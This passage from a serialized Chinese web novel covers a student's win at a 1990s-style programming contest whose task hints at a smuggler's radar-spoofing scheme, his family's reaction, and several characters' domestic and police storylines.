他的手指几乎没有停顿。噼里啪啦的键盘声密集如雨,一行一行的代码在屏幕上飞速铺开。没有犹豫,没有删改,没有盯着屏幕发呆——他像是在抄一篇已经写好的文章,只是把它从脑子里转录到屏幕上。 台下的人看懵了。 农学院那个领队原本靠在椅背上,看着台上的眼神带着看热闹的意味。韩学涛敲了不到一分钟,他的身子慢慢坐直了。又过了半分钟,他的嘴张开了,合不拢。 卫校的几个女生坐在第三排,原本还在小声嘀咕“宁海大学这下完了”。键盘声密集地响起来之后,她们的声音越来越小,最后完全消失了。 她们看不懂屏幕上那些代码,但她们看得懂台上那个人的状态——专注,笃定,没有任何犹豫。手指在键盘上几乎带着一种节奏感,就像是在弹钢琴。 最边上的一个短发女生,声音很轻,却清晰地飘了出来:“他好帅啊……” 旁边的女生没有接话,但眼睛一眨不眨地盯着台上。 她们对宁海大学的印象,本来已经被欧阳败得差不多了。但此刻,那个坐在电脑前的白T恤男生,让她们心里的天平开始迅速往回偏。 蚊子从韩学涛敲下第一行代码的时候,就没有再呼吸。 他的眼睛死死盯着大屏幕上滚动的代码,瞳孔微微放大,脸上的血色一点一点地涌上来——从脖子根往上蔓延,一直红到耳朵尖。他整个人像是被什么东西攫住了,呼吸都有些不畅。 “怎么了?”潘潘在旁边小声问。 蚊子没有回答。他根本听不见。 他看得懂。别人看不懂的那些函数调用、那些数据结构、那些精妙的边界处理,他全都看得懂。正因为看得懂,他才更加震撼—— 这道题的核心在于坐标转换的平滑过渡,难点在于两个坐标系之间的插值算法。韩学涛正在实现的那段代码,用一种他从未见过的方式处理了边界条件——简洁,优美,像一首诗。 蚊子的手在发抖。不是因为紧张,是因为兴奋。他看那些代码的感觉,就像是在一条灰尘仆仆的路上走了很久,忽然转过一个弯,眼前出现了一片大海。 杨蕾坐在蚊子旁边,双手交叉搭在膝盖上,脑子里翻云覆雨。 她盯着台上那个白T恤的背影,心里翻涌着一种说不清道不明的情绪。这家伙……真的这么厉害? 她回想这几天跟韩学涛打交道的经历——校门口打出租车、工院之家吃饭、昨天晚上在招待所,也是他发现了工学院的猫腻。 但现在看着他编程的样子,她才真正意识到——他的编程水平也是顶尖的,比计算机系的任何人都强。 新生里怎么会有这种人?自己以前怎么完全没有注意到? 就在这时,台上,键盘声忽然停了。 韩学涛的手指悬在键盘上方,一动不动。他的眉头微微皱了起来,目光停留在屏幕上某个位置。 安静了五秒钟。 然后,他动了。 不是继续敲。他的手移动到键盘左上方,按住了Delete键。 光标开始倒退。一行一行的代码在屏幕上消失,那些刚才还让蚊子兴奋到发抖的代码,那一段段让台下所有人目瞪口呆的精妙实现——全部被清除了。 屏幕上的代码区域,变成了一片空白。 会场里,炸开了。 第201章 这个奖,颁得值 台下的议论声还没落下,韩学涛就已经重新敲起了键盘。 屏幕上,整段整段的代码铺展开来,速度比刚才还要快。 “写错了重来?”有人小声问。 “不像。”旁边的人摇了摇头,“他删的时候一点都没犹豫。真要是写错了,总得停一下想想吧?” “那就是有了新思路?” “也许吧。可前面那段已经很好了啊……我看着都眼晕。” 卫校那几个女生已经不怎么看代码了。她们的目光,全落在韩学涛身上。 “他好稳……”短发女生又轻轻说了一句。 旁边的女生低声附和:“删的时候特别果断。侧脸很帅。” 蚊子的眉头越皱越紧。他想跟上韩学涛的思路,却发现自己根本跟不上了。新代码的结构和刚才完全不同——刚才那段是线性的、清晰的,每一步都明明白白。而现在这段,函数调用的层级更深了,数据结构也变了样。他不是看不懂每一行,而是看不懂“为什么要这样写”。 就像每个字都认识,却不知道整句话在说什么。 蚊子咬着嘴唇,脸色从兴奋一点点变成了凝重。 台上,韩学涛的手指几乎没停过。但他的注意力,不全在代码上。 就在刚刚,他敲到“坐标偏移量”那个参数时,手指忽然顿了一下。 脑子里猛然冒出一个问题——这道题,是谁出的? “基于实时坐标偏移的船舶航线修正系统”。让海关雷达上显示的航线永远都是假的,真实的船已经悄悄潜入近海卸了货。这道题的技术内核,是一套干扰程序。 能想出这道题的人,不可能是工学院计算机系的普通老师。 来胜平。 这个名字从脑子里跳出来的那一刻,韩学涛心里顿时闪过一个念头—— 远星集团赞助了这个比赛。来胜平是远星集团的老板。而来胜平最大的生意,是走私。 这么大的生意,海关那边他肯定打点过。但不可能买通每一个人——总有人他搞不定,总有些风险他控制不住。 所以他要的不是买通所有人,而是让那些他搞不定的人,也看不到异常。 这套程序就是那个答案——让走私船在海关的雷达上,永远显示为一条合法的正常航线。 如果是这样……那一台IBM笔记本,就太便宜了。 韩学涛盯着屏幕,手指继续敲着。但脑子里,已经在算另一笔账。 一台笔记本?来胜平,你在开玩笑。 时间一分一秒地走。 大屏幕上跳动的计时器像一颗心脏,一下一下,敲在所有人心头。还剩三分钟。两分钟。一分钟。键盘声密得像暴雨砸在铁皮屋顶上,没有停顿,没有犹豫。 台下没有人说话。连交头接耳的声音都消失了。所有人都在盯着台上那个白T恤的身影。 最后十秒。屏幕上,光标在一行未完成的代码末尾闪烁。韩学涛的手指还在动。 五秒。四秒。三秒。两秒。 最后一行的最后一个分号,在计时器归零的前一秒,落在了屏幕上。 键盘声戛然而止。 韩学涛没有检查,没有犹豫,推开凳子站了起来。他甚至没再看屏幕一眼,转身就往台下走,一边走一边朝主持人伸出手,语气随意得像在说一件小事: “可以了。试一试吧。” 主持人愣了一下,目光追随着韩学涛,话筒悬在半空。 韩学涛已经走回了宁海大学代表队的位置。他就站在桌边,伸手从杨蕾手边拿起一瓶矿泉水,拧开喝了两口。杨蕾的手还保持着放瓶的姿势,整个人明显没反应过来。 韩学涛把瓶盖拧回去,看了一眼台上还愣着的主持人,用下巴朝自己刚才编程的电脑扬了扬:“调试一下?看是不是满足题目要求。会弄吗——要不要我来帮你?” 主持人这才回过神来,连忙朝台下招手:“技术老师!技术老师!” 一个戴眼镜的中年男人快步走上台,在电脑前坐了下来。会场里的气氛骤然绷紧,所有人都伸长脖子看。大屏幕上,调试窗口弹了出来。技术人员开始逐项验证程序的各项功能。 坐标转换模块测试——屏幕上跳出绿色的“通过”。信号平滑模块测试——又一个绿色的“通过”。边界条件测试——“通过”。异常处理测试——“通过”。 每跳出一个绿色标识,台下的气氛就热一分。卫校几个女生开始攥紧拳头,脸上的表情从紧张变成期待。农学院那边有人开始小声数:“三个了……四个了……” 最后一项测试——连续运行稳定性模拟。 程序在虚拟环境里跑了三十秒的模拟数据,输出结果平稳,没有跳变,没有闪烁。 屏幕上跳出一个大大的绿色框:“全部功能测试通过”。 会场安静了零点几秒。 然后——沸腾了。 掌声从各个方向同时炸开。卫校那几个女生忍不住站了起来,兴奋地拍手。农学院的领队一边鼓掌一边摇头,嘴里嘟囔着:“牛啊……真牛啊。” 闪光灯从好几个方向同时亮起。那个报社记者在拼命按快门,旁边的电视台摄像师把镜头推到了最大。台上,刘副院长面无表情,嘴角没有一丝笑意——但摄像机的红灯亮着,他什么都不能说。 工学院那片区域,像被人抽走了空气。领队低着头,双手插在兜里,一动不动。旁边的队友面如死灰,有人嘴唇在动,像是在自言自语,但谁也听不清他在说什么。 爆冲成功了。 宁海大学爆冲成功,意味着他们即便再爆冲也没有机会了。冠军,已经定了。 航天学院的领队第一个走过来,隔着老远就伸出手:“厉害厉害!怎么称呼?” 韩学涛握了一下:“韩学涛。地质系的。” “地质系?!”航天学院领队的手僵了零点几秒,脸上的表情复杂得很,“地质系的……计算机这么厉害?兄弟,你这也太吓人了。有机会一起交流,我是航天学院计算机系的,叫周康前。” 师范大学的领队也跟过来,拍了拍韩学涛的肩膀:“哥们儿,你这波操作太硬了。回头有空来我们学校玩,我请你吃饭。” 韩学涛一一应付着,目光从这些人脸上滑过去,落在远星集团的姚总身上。 姚总正站在台侧,盯着台上那台还显示着“调试成功”界面的电脑。他脸上看不出什么喜怒,但视线一直没有离开那个屏幕。旁边刘副院长凑过来跟他说了句什么,他不得不转过头去应付,脸上堆起一个标准的社交笑容。 韩学涛收回目光,淡淡地撇了下嘴角。 颁奖典礼开始了,音乐声响起。 获得三等奖和二等奖的代表队依次上台领奖,每念到一个学校名字,就有一片掌声响起来。 “一等奖——宁海大学。” 杨蕾站了起来,整了整衣领,走到台中央,从刘副院长手里接过那个水晶奖杯,高高举了一下。方向不是朝着宁海大学,而是不偏不倚地,对准了工学院那边,她的笑容谦虚,但眼神里带着一丝不加掩饰的、胜利者的笑意。 “下面颁发爆冲奖。”主持人的声音比刚才高了几度,“获奖者——宁海大学,韩学涛。” 韩学涛从座位上站起来,走上台。姚总从台侧走了上来,手里托着那台IBM ThinkPad 770,红丝带还在,但已经被拆开过又重新系上。 他走到韩学涛面前,把笔记本电脑递过来,另一只手拍了拍韩学涛的胳膊:“宁海大学有人才啊。”胖脸笑成一团,“这个奖,颁得值。” “谢谢姚总。”韩学涛接过笔记本电脑,淡定地说:“我也觉得很值。” 第202章 步步高 赵秀荣在厨房里炒菜,灶台上的油锅滋滋冒着热气,她把手边切好的肉片倒进去,翻炒了两下,香味就漫出来了。 她一边炒,一边哼着歌,调子跑了不少,可唱得挺有劲儿——“这一去枪如林弹如雨呀,这一去革命胜利再回还……” 心里头高兴。 缝纫机培训班刚结业了一批学员,拢共二十三个人,去掉场地、布料、课时费,净落了四千多块。这还只是培训班的进项,上个月刚交完鞋厂的承包费,账上还趴着一笔外贸订单的结款。她细细算了算,刨去给老韩那几个徒弟开的工资,这两个月家里净挣了六千多。 六千多块。她以前接散活,累死累活,一个月也就挣一百来块钱。韩德富干了一辈子,买断工龄才拿了八千块。她现在干一个季度,就抵得上老韩一辈子的买断钱。 赵秀荣把肉片盛出来,又往锅里倒了油,一边等着油烧热,一边想——这些啊,全托儿子的福。要不是学涛出的那些主意,她这会儿还在发愁怎么家里的欠债呢。 想到儿子,她手上的动作慢了下来。放暑假有一阵子了,学涛一直没回来,说是在学校跟导师搞什么项目。这孩子,暑假也不着家。也不知道学校食堂暑假还开不开?忙一天下来,能吃上一口热乎饭不? 她想着,回头得让老韩打个电话,把儿子叫回来好好吃一顿。 “师娘——”厨房门口探进来一个脑袋,二十出头的小年轻,穿着蓝色工作服,袖口上沾着机油,“师傅那边催了,问饭好了没有。” 这是韩德富新收的小徒弟,姓刘,大伙儿都叫他小刘。培训班结业那阵子,老韩忙得脚不沾地,几十台缝纫机要改装、要维修,常常顾不上回家吃饭。老韩带了四个徒弟,每人每月开的工资,比东林那边车间的副主任还高,几个徒弟对师傅和师娘都敬重得很。 赵秀荣把肉片装进饭盒,头也没抬:“还差两个菜,再等等。” 小刘“哎”了一声,没走,站在厨房门口搓了搓手:“师娘,我能看下电视不?彩票开奖了。” “看吧看吧。” 小刘跑到客厅打开电视,找到彩票开奖的频道,对了半天号码,一个也没中。他把彩票揉成一团扔进垃圾桶,叹了口气,正准备关电视,随手按了一下遥控器——画面跳到了宁海电视台。 屏幕上,一个穿着白衬衫的女主持人站在镜头前,身后是一排电脑和花花绿绿的横幅。小刘没太在意,正要按掉,耳朵里飘进来几个字—— “宁海大学一年级学生韩学涛……” 他的手停在遥控器上。 “荣获宁海市大学生计算机技能大赛爆冲环节个人奖,获奖品IBM笔记本电脑一台……” 厨房里,赵秀荣正把最后一道菜装盒,忽然听见电视里传出儿子的名字。她手一抖,菜汤溅到灶台上,顾不上擦,扔下锅铲就往外跑。 她跑到客厅的时候,屏幕上正好切到颁奖的画面。穿着白T恤的韩学涛站在台上,从一个大腹便便的中年男人手里接过扎着红绸带的奖品,闪光灯噼里啪啦地亮成一片。 赵秀荣愣住了。 那是她儿子! 她就那么站在电视机前,双手在围裙上擦了又擦,眼睛一眨不眨地盯着屏幕。画面已经切到下一条新闻了,她还盯着,好像再多看一会儿,儿子就会再出来似的。 “师娘?师娘!”小刘在旁边叫了两声。 赵秀荣回过神来,一把抓住小刘的胳膊,声音发紧:“刚才那个——你看见了没?” “看见了看见了,师娘,怎么了!”小刘还没见过韩学涛。 赵秀荣松开小刘的胳膊,在客厅里转了一圈,又转了一圈,两只手不知道往哪儿放。她走到茶几前拿起遥控器,又放下;走到电视前摸了摸屏幕,又缩回来。 “别带饭了。”她忽然站住了,声音一下子大了起来,“赶紧去把你师傅叫回来!家里出事了,出大事了!” 小刘吓了一跳,蹭得蹿了出去。 不到半个小时,韩德富骑着自行车回来了。人从车上跳下来,三步并作两步冲进门,脸上全是汗。 “咋了咋了?出啥事儿了?” 他进门就看见赵秀荣一个人坐在沙发上,面朝电视。电视机开着,屏幕上播的是广告,她一动不动地盯着那些花花绿绿的画面,嘴角挂着一个说不清道不明的笑。 韩德富吓得汗毛都竖起来了。 “秀荣?秀荣!”他蹲下来,伸手在老伴眼前晃了晃,“你咋了?别吓我!” 赵秀荣慢悠悠地转过头,看了他一眼,嘴角那个笑又大了一些:“儿子上电视了。” 韩德富一口气没喘上来,差点噎死在嗓子眼里。他张着嘴,瞪着眼,半天才挤出一句话:“就这?我还以为出啥大事了呢!我那还有三台缝纫机没修好——你说啥?儿子上电视了?学涛?学涛上电视了?” 他总算反应过来了。 “在哪儿呢?在哪儿呢!” 赵秀荣指了指电视:“刚刚宁海新闻放的,你回来太晚了,已经播完了。学涛得了大学生竞赛一等奖,还得了个什么笔记本。” “笔记本?什么笔记本?” “就是那种……我也不知道,就像你们以前车间用的技术手册似的。” 那应该就是学习用的,记笔记的,他没往心里去。 “新闻呢?还能不能看了?” “晚上十一点有重播。我坐这儿等着呢。” 韩德富一看墙上的钟——才七点半。 “我再去修两台机子再回来。”他转身走到门口,又停下来——脚步顿在那里,像犹豫什么似的。 折回厨房,拿了一瓶啤酒,“嘣”地用牙咬开瓶盖。沫子冒出来,他吸了一口,在赵秀荣旁边坐了下来。 “算了,今天歇一天,我陪你等着。”他灌了一口啤酒,喉结滚了滚。 赵秀荣看了他一眼,眼睛又粘回电视上了。 电视在放步步高VCD的广告,李连杰正翻跟头。 “世间自有公道,付出总有回报——步步高!” 韩德富咂了咂嘴,酒瓶往桌上一顿。 “儿子上电视……这么大一件事,秀荣,你说...咱家要不要摆酒呀?” 第203章 红色娘子军 展雪从浴室出来,头发还在滴水。水珠顺着发梢往下坠,浅蓝色睡裙的后背洇湿了一大片。 她随手擦了两下毛巾,搭在肩上,赤着脚踩上地板,往外走。 房间很大,陈设讲究,但总觉得哪里不对。深色实木地板,厚重的丝绒窗帘,床头柜上摆着铜座台灯,灯罩还垂着穗子——这分明是一个殷实主妇的卧室。可墙边立着一排不锈钢护栏,床头垂着一根拉绳。这些不该出现在卧室里的东西,多看两眼,心里就闷闷的,说不出的压抑。 展雪在床边坐下,从果盘里拿起一个苹果和一把小刀。床上躺着一个中年女人,是她的母亲,展惠兰。 母女俩眉眼有七八分像,只是母亲瘦得多,颧骨微凸,脸色苍白。她靠在高高垫起的枕头上,看着女儿削苹果,眼里满是心疼。 展雪削苹果的动作很熟。刀尖贴着果皮,不深不浅地转,一圈,又一圈。苹果皮完整地垂下来,像一条绸带,从第一刀起到最后都没断过。 她举起削好的苹果看了看,满意地放在案板上。手指按住,刀尖轻轻一挑,一小块苹果落下来。再一挑,又是一块。刀子在指尖转动,轻巧利落,就像弹琴时指尖在琴弦上跳动。 她时不时瞥一眼床头柜上的闹钟,手上的速度不自觉地快了起来。 展惠兰叹了口气:“天天这样,也不知道什么时候是个头。” “慢慢就好了,别急。”展雪头也没抬,“医生说你现在比上个月好多了,人也精神了。上次护士长还说了,你这恢复速度,在她见过的病人里能排前三。” 展惠兰轻轻摇头,声音低了下去:“人家当妈的都能帮女儿,就我是拖累女儿。想想还真不如——” “妈。”展雪打断她,语气硬了几分,“别说这种话。我就你这么一个亲人,你走了,让我当孤儿?” 展惠兰嘴唇动了动:“你爸……” “我不想听到这个人。”展雪干脆利落地说,“别打扰我,我在算时间呢。” 她又看了一眼闹钟。手上的动作猛然快了起来,刀尖翻飞,像一只白色的蝴蝶在苹果上跳舞。一块块果肉落在案板上,码得整整齐齐。 她削苹果削了好几年了。从初中开始,每天两次,削好、榨汁、看着母亲喝下。 几年下来,这件事已经变成了肌肉记忆,闭着眼睛都能完成。可今天她心里有些烦,手比脑子快,没几下两个苹果就削完了。她看了一眼案板上堆得整整齐齐的苹果块,又看了一眼闹钟——时间还早。不该削这么快的。 展惠兰又轻轻叹了口气:“他毕竟是你爸爸呀。” 展雪没有接话。她把苹果块倒进榨汁机,按下开关。机器嗡嗡地响起来,盖住了那句话。 “毕竟是你爸爸”——这句话她听得太多了。从母亲嘴里,翻来覆去就是这一句。她听得耳朵起了茧,心里起了墙。 世上哪有那么多“毕竟”?毕竟这个,毕竟那个,说到底不过是一厢情愿。 榨汁机停了。展雪把果汁倒进杯子,放在床头柜上,离母亲的手不远不近。她心里还没平复,不想多说话。 “妈,我给你打开电视看两眼吧。” 她拿起遥控器按了一下。屏幕亮了,她随手换了两三个频道,没心思挑,只觉得里面的笑声假得刺耳。她把遥控器递给了母亲。 展惠兰接过来一按,画面跳到一个频道——正在放《红色娘子军》。 她的眼睛顿时定在屏幕上,一动不动了。 展雪抬起头看了一眼,皱了皱眉:“妈,你怎么看这个?换台,我要看动画片。” 她伸手去够遥控器。展惠兰没有松手,也没有说话,眼睛还是死死盯着屏幕。 展雪缩回手,看了母亲一眼。 她最喜欢看的动画片是《鼹鼠的故事》。那只圆滚滚的、不会说话的小鼹鼠,从土堆里钻出来,用黑漆漆的眼睛看着这个世界,笨拙又可爱,比《猫和老鼠》好玩多了。 每次看的时候,母亲都陪着她,两个人一起窝在床上,看着小鼹鼠挖洞、修车、种花,笑成一团。那是她从小到大为数不多的、真正觉得温暖的时光。 可今天,母亲没有换台。 看着电视上英勇无畏的吴琼花,展惠兰像是透过几十年的光阴,看见了另一个自己。 她是1977年恢复艺考后第一批考上歌舞团的知青。在那之前,她在北大荒的集体户里跳了六年。六年。冬天零下三十度的土坯房里,她对着糊了报纸的窗户压腿。窗缝里灌进来的风像刀子,割在脸上生疼。 她把《红色娘子军》里吴琼花的片段跳了上百遍,鞋底磨穿了就用苞米叶子缝补,一双舞鞋穿了三年,补了又补,最后鞋面上全是补丁,几乎看不出原来的颜色。冻裂的手背,动作幅度一大就会渗出血来。 进团第一天,团长让她跳一段自选曲目。旁边有人小声说,让她跳个简单点的吧,毕竟是从乡下来的。展惠兰没说话,走到练功房中央,站定。 音乐响起来。她跳了自己在乡下编的《麦收舞》。甩手绢的动作里带着挥镰刀的力道,踮脚旋转时,仿佛还能踩进黑土地的麦浪里。她的身体不是柔软的,是有力的,每一个动作都带着六年北大荒的风雪。 跳到一半,台下有人开始抹眼泪。 团长没说话。等她跳完,站在练功房中央大口喘着气,浑身是汗。团长站起来,只说了一句:“分到民族舞队。” 她比团里所有人都能吃苦。别人压腿压半小时,她压一个半小时,脚腕肿得像发面馒头也不吭声。练功服湿了干、干了湿,一天换三套。别人下了课就走,她留下来对着镜子一遍一遍地抠动作,一个旋转练上百遍,直到脚趾磨出血泡、破了、结痂、再磨出血泡。 下乡那几年练出来的韧劲,让她疯了一样地往前冲。进团第三年,她成了台柱子。 如今再看,恍然隔日。 屏幕上,《红色娘子军》还在放着...... 眼泪无声无息地,沿着展惠兰的脸颊淌了下来。 第204章 两台电视,一个新闻 展雪看着母亲流泪的样子,心里那股烦躁终于压不住了。 “哭哭哭,你就会哭。演了一辈子的红色娘子军,你倒是学学人家呀。” 展惠兰没接话,只是用手背轻轻擦了擦眼角。 展雪瞥了一眼闹钟:“好了,到时间了,吃药。” 她转身走到另一侧的柜子前,从里面取出一只深棕色的小药瓶。瓶身上印着外文,标签上还挂着细细的冷凝水。 她把药瓶搁在床头柜上,又从抽屉里摸出一支玻璃吸管,动作轻轻的,稳稳的。拧开瓶盖的一瞬,一股浓烈的腥臭味慢慢散了出来。 她早就闻惯了。上大学以后,这些活本来该是专业护士做的,但只要她回家,总会从护士手里抢过来。 展雪用吸管精准地吸好医嘱上的剂量,一滴一滴地滴进榨好的苹果汁里。环孢素必须跟酸性饮料一起服用,苹果汁最合适。她用小勺搅了搅,酸甜的果香盖住了大部分药味,但那股腥臭还是会从杯底隐隐地泛上来。 “慢慢喝,不着急。”她把杯子递到母亲手里,顺手把床头柜上的抽纸往母亲手边推了推。 展惠兰接过杯子,小口小口地喝着。药液和果汁混在一起,黏稠稠的,挂壁挂得厉害。她喝完最后一口,把杯子放下,伸进手指刮了刮杯壁上残留的液体,又放进嘴里抿了。 屏幕上,《红色娘子军》已经出结尾字幕了。黑底白字缓缓往上滚动,音乐也推到了最后的高潮。 展雪松了一口气,从母亲手里拿过遥控器:“好了,你的放完了。我要看我的动画片了。” 她正准备换台,展惠兰忽然开了口。 “妈妈像你这么大的时候,天天就在跳这个。本来以为要跳一辈子的,后来去了你爸爸他们部队……” 展雪的手指停在遥控器上。她转过头,看着母亲。 “妈,我问你。”她的语气忽然认真起来,“当年碰到来胜平,你后悔吗?” 展惠兰的眉头微微皱了一下:“什么来胜平?那是你爸爸。” 展雪冷哼一声:“当他的面,我叫他一声爸,已经给你面子了。私下里,我喊不出这两个字。” 展惠兰看着女儿,嘴唇动了动,想说什么,又咽了回去。她望着展雪那张绷得紧紧的脸,心里忽然泛起一种说不清的感触。 自己当年像女儿这么大,跳《红色娘子军》的时候,性子何尝不是这样——对谁都不肯服软。 不过再硬气的女人,一旦撞上命里那个克她的男人,也像冰遇上滚水,没了形状,也忘了自己。 展惠兰想到这里,脑中忽然一闪。 “对了,”她的语气变了,带着一点试探的味道,“我听你爸说——你把摩托车给一个男生骑了?那个男生是你们学校的吗?” 展雪本来已经准备好再顶母亲两句的,猛不丁听到这个问题,整个人僵了一下,话到嘴边全卡在喉咙里,只剩下一个:“啊?” 展惠兰看着女儿的表情,心里咯噔一声。 那个样子,她太熟悉了。当年她在部队大院的演出后台,遇见那个穿着军装、站得笔挺的警卫员的时候,自己也是这副模样。 “雪儿,你快来跟妈说说。”展惠兰的声音柔了下来,“那个男生是什么样子的?要不是你爸碰见,我都不知道。你爸说你们俩吃饭,还是你付的钱,花了两千多。” 她顿了顿,斟酌了一下措辞,还是说了出来:“这男生家里条件是不是不太好啊?妈也不是嫌贫爱富——家里条件差点没关系,但是穷要有骨气,总不能心安理得地让女孩请客、花那么多钱,还要女孩的摩托车吧?” 展雪听得烦躁极了,一下子站了起来。 “穷怎么了?来胜平穷的时候把你当个宝,有钱了以后把你当什么?他的女人能组成一个文工团,行,这些都无所谓。他想三宫六院,随他,这些我都不恨他。” 她的声音开始发抖。 “我不能容忍的是——” 说到这里,她忽然收住了,咬着嘴唇,胸口起伏了两下,把剩下的话连同那口气一起咽了回去。 “算了,懒得说。”她把身子转回去,背对着母亲,“难得回来一次,看个动画片都不顺心。” 她拿着遥控器,恶狠狠地按了一下,像是在跟遥控器赌气。 而就在这时,电视里突然蹦出来一个熟悉的身影。 宁海电视台的晚间新闻。 韩学涛站在台上,从来胜平公司的姚胖子手里,接过一台扎着红绸带的笔记本电脑。 电视里的他穿着一件白T恤,胸前印着“宁海大学”的标志,接过电脑的时候,不点头,不弯腰,脸上挂着无所谓的笑。 展雪一下子就愣住了。 ... 李际全推开家门时,客厅的灯全亮着。 沙发上,老婆顾秀芝和女儿李曼挨坐在一起,正聊得热火朝天,不知道在说些什么。 顾秀芝穿了件玫红色的家居服,料子软,领口缀着蕾丝边,款式他没见过。李曼盘腿坐在旁边,还是那头短发——自从剪了,就再没留长过。 李际全看着女儿的脸。短发,但并不像男孩,甚至比以前披肩的时候更俏了几分,眉眼之间多了一股利落。可有时候,他还是会恍惚一下:自己是不是生了个儿子? 李曼剪头发的原因他记得清楚——港岛回归,大学生文艺汇演,她女扮男装演一个爱国记者,说那个角色特别合她气质。 说实话,有时候他觉得李曼要真是个男孩反倒好了。不是他重男轻女,是觉得她这性格,天生就更适合当一个男孩。像一棵笔直的树,向阳而生,不蔓不枝。 “你们母女俩聊什么呢?”他换好鞋走过去,在旁边的单人沙发上坐下。 顾秀芝头都没抬:“还不是聊小曼过生日的事。我不管你了,每次都跟你商量不出个结果来。这次我这个当妈的做主——在中山饭店办几桌。” 李际全眉头微微一动:“中山饭店?是不是太招摇了?” “招摇什么?”顾秀芝直起身子,“我已经够低调了,就怕给你这个当爹的惹麻烦。你知道孙红革给他家孙婷婷在哪办的吗?锦绣国际!他孙红革一个排名靠后的副市长都不怕,你这个政法委书记,有什么好怕的?” “那不一样。”李际全语气平缓,“孙红革一向就是这个性格,市里省里的领导都知道。再说他老丈人有钱,别人也抓不着他的把柄。” 顾秀芝脸一沉:“你什么意思?嫌我爹穷了?我爹就是个被打倒的臭老九,有本事你找资本家小姐去啊。” 李际全满脸无奈:“我不是那个意思。行行行,你说了算,行了吧。” 顾秀芝哼了一声:“生日那天,你可得来。别到时候又冒出一个会,把我娘俩撂在那儿。” “知道了,知道了。”李际全说着,抬腕看了看表,顺手摸起茶几上的遥控器。 电视亮了。他一边换台,一边随口问:“我听小毛说,你最近老买衣服?” 顾秀芝眼神飘了一下:“哪有的事儿。我就是逛逛。你们父女俩天天忙,上班的上班,上学的上学,家里平时就我一个人,我不逛逛街,还闷出病来不成?” 李曼凑过来,搂住母亲的胳膊,软着声说:“妈,我现在不是放假了吗?天天都能陪着你。” 顾秀芝抽出手,在她脑门上轻轻一点:“你可拉倒吧。你跟你爸一个模子刻出来的,学校一个破学生会,弄得日理万机的。以后再谈了恋爱结了婚,我连你影子都摸不着了。” 李际全正换着台,听到这话,转过头问:“怎么?小曼有男朋友了?” 李曼脸一下子红了:“爸、妈,你们干什么呀——我才大一!”她坐直身子,语气认真起来,“我可警告你们啊,这次过生日我邀请了几个同学来,你们可不许乱说话。” 李际全没再追问,把注意力转回到电视上,继续换台。 下午付祥民专门跑到他办公室来,跟他说了一件事。说来胜平的远星集团,近日有一批很重要的货要到港,走的是海路,从公海过来。 付祥民盯这条线很久了。每次远星集团有大货到港,都会选在媒体上高调亮相——要么捐款,要么赞助,总之要大张旗鼓地把自己摆在聚光灯下。 用付祥民的话说,这是在向有关环节传递信号:我在做正经事,你们放行。 而这次,远星集团选的方式,是向大学生计算机技能大赛提供高额奖品。 沙发那头,顾秀芝还在跟李曼说话:“......我常去那家店,进了一批港版女装,款式特别好,价钱也实惠。明天我带你去看看,挑两套,过生日的时候穿……” 电视画面跳到宁海电视台,晚间新闻刚刚开始。 李际全凝神看了起来。就在这时,他听见旁边女儿“咦”了一声。 “韩学涛?他怎么也去参加比赛了?还得了奖?宁海大学第一?我是学生会的,我怎么都不知道?” 李际全猛地一愣,瞪大眼睛盯着屏幕上那张年轻的脸—— 没错。不就是那个跟女儿一起考进宁海大学的那个男生吗?暑假的时候,还跟女儿一起在春梅宾馆勤工俭学来着。 来胜平的高额奖品,颁给了他? 第205章 说不定女生就知道 总局。 办公室。 付祥民把警帽搁在桌上,松了松领口,从抽屉里摸出一包烟,抽出一根叼在嘴里,又抽出一根,往旁边随手一递——严所长赶紧接过去。 付祥民看都没看站在办公室正中间的马辉,掏出打火机低头点着烟,然后顺势往桌上一扔,打火机滑到了严所长面前。 他往椅背上一靠,慢悠悠地开了口:“小严,你们螺塘最近风平浪静的,我都有点不适应了。” “还有很多工作没做到位,让领导担心了。”严所长赔着笑,讪讪地把烟点上,一边小心翼翼地打量着付祥民的脸色。 这位可是全省公安系统的老资格,参加过部里的专案组,还不止一次。临退休了从东林调上来当副局长,傻子都看得出来,这不可能是正常的组织程序。本来说干两个月就退下来,返聘回去接着带专案组,结果一个“高级特殊人才延期任职”的政策,又让付祥民留了下来。消息一出来,整个宁海公安系统都看呆了。 付祥民抽了口烟,语气不咸不淡的:“我担心什么?你们大胆做工作,我反而不担心。像这样无所事事地过日子——我才觉得不对劲。” “咳咳……” 严所长一口烟刚吸进去,被这话呛得连咳了好几声,脸都憋红了。 付祥民没理他,自顾自地往下说:“我小孙女儿上周末来看我,说她这次考试作文得了高分。我问她题目是什么——她说,‘岁月静好,负重前行’。”他手指在桌上轻轻点着,“我听完愣了好一阵。这是一对矛盾么!我们当警察的天天岁月静好,老百姓就得负重前行。反过来——只有我们负重前行,老百姓才能岁月静好。” 严所长总算把咳嗽压了下去,赶紧接话:“付局,您这话说得太深刻了。我们最近就是忽视了年轻干警的思想教育。” 付祥民一拍桌子,烟灰震下来一截:“小严,你这句话就总结得到位。你们螺塘年轻人多,就该让年轻干警拿出年轻人应有的朝气来。” 说到这儿,他转过头,看了一眼站在办公室中间、站得笔直的马辉,哼了一声。 “马辉,刚才你们严所长说的话,你认不认可?” 马辉一脸懵。自己最近老老实实的,什么也没干,怎么又被叫过来挨训了? “认可,认可。”他赶紧点头。 付祥民盯着他:“认可?我看你是有点不服嘛。” 马辉:“???” 付祥民问:“你说说看——最近在所里,你都做了什么工作?” 马辉想了想,老老实实地汇报:“日常巡逻,帮助群众解决纠纷,接待群众报案,参加学习……” 话没说完,付祥民冷笑了一声。 “堂堂的螺塘小马哥,怎么也成了家庭主夫了?” 马辉低着头,不吭声了。他心里委屈——自己怎么做都不对。以前闹腾被人批,现在老实了还被人批。这警察当得,简直冤枉死了。 严所长听出点意思来了,试探着开口:“付局,您是不是有什么任务要交给我们?领导您尽管吩咐,我们都是您的兵,保证全力以赴。” 付祥民看了他一眼,语气缓了些:“小严,你是所长,就给我稳住螺塘,当好定盘星。下面的年轻人,放手让他们冲出去。有你这样稳重的同志压阵,我放心得很。” 他转过头,目光落在马辉身上。 “马辉,我给你联防队的时候,任务说得清清楚楚——要负责全市重点娱乐场所的清毒和扫毒工作。不是让你带着十几号人在家养膘的。” 说完,他翻出一张报纸,用力拍在桌上。 “你看看!” “三个初中女生,才十五岁的年纪,在迪厅里被人教唆吸毒。她们还以为好玩,以为时尚——吃的东西叫蓝精灵。你知道蓝精灵是什么吧?摇头丸。港台那边传过来的,现在在宁海的娱乐场所已经有泛滥的趋势了。” 